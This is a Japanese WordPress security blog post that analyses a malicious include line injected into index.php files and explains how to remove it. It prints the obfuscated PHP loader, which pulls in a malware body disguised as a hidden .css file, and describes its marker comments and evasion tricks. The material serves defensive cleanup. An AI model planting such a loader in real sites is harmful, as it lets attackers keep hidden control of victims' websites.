ワードプレスサイトでマルウェアを読み込んで実行するinclude文がindex.phpにある場合の対処方法をご紹介いたします。
マルウェアを読み込む改ざんがindex.phpに
このマルウェアはワードプレスサイトの様々なフォルダに元々あるindex.phpや、もしフォルダにindex.phpがない場合は生成の上、下記のようなコードを改ざんして埋め込みます。
<?php /*9c46d*/ $rhz7 = "/var/www/ーー省略ーー/wp\x2dincludes/p\x68p\x2dcompat/.a8f26ae0.css"; if ($rhz7 . '67'){ @include_once /* 44 */ ($rhz7); } /*9c46d*/
マルウェアコードの解析
/*9c46d*/ の部分は、他のマルウェア(サーバーのプロセスに常駐するなどいたします)が改ざんが取り除かれてしまったかを判別するための識別子です。
改ざんが取り除かれていると自動で再感染させる他のマルウェアがサーバーの中に残っている可能性があります。
$rhz7 = “/var/www/ーー省略ーー/.a8f26ae0.css” の部分で、マルウェアの本体(サイトをリダイレクトさせるなどの不正な動作を引き起こします)を変数に代入しています。
この事例の場合は.cssのスタイルシートに見せかけたマルウェアであることが分かります。
/wp\x2dincludes/p\x68p\x2dcompat/.a8f26ae0.css
の部分は難読化されていますが、難読化解除すると
/wp-includes/php-compat/.a8f26ae0.css
になります。wp-includes/php-compat/フォルダにマルウェア本体があることが分かります。
if ($rhz7 . ’67’){ は必ず正になります。検出にひっかからないようにする無意味なコードの部分です。
/* 44 */というコメント部分も同様です。
@include_once ($rhz7); index.phpが実行されるたびinclude_once 文でマルウェア本体を読み込み実行していることが分かります。
マルウェアを読み込んで実行するinclude文の対処方法
マルウェアの識別子 /*9c46d*/ の間にあるコードを削除いただくとindex.phpにアクセスされるたびに実行されるマルウェアの読み込みはできなくなります。ただ、再改ざんが続く場合は、サーバーのどこかに別の再感染用のマルウェアが存在する可能性が高いです。
(サーバーのプロセスにマルウェアが無限ループで実行され続けている場合もございます)
マルウェアの網羅検査駆除をプラグインなどで行われることもお勧めいたします。
【無料】ワードプレス:マルウェアスキャン&セキュリティープラグイン [マルウェア・ウィルス検出と駆除]
マルウェアを早めに駆除できない場合は、検索エンジンがマルウェア感染サイトと判定して検索順位を下げたり、不正な検索結果を登録されてしまったり、正規のページが別のサイトに飛ばされてしまうなどの弊害も出てきます。
早めに経験豊かなマルウェア駆除の専門家にご相談いただくこともお勧めいたします。
WordPress
ワードプレスのマルウェア駆除・セキュリティー対策は専門家が代行いたします。ワードプレスドクターにお気軽にご依頼・ご相談をお送りいただけましたら幸いです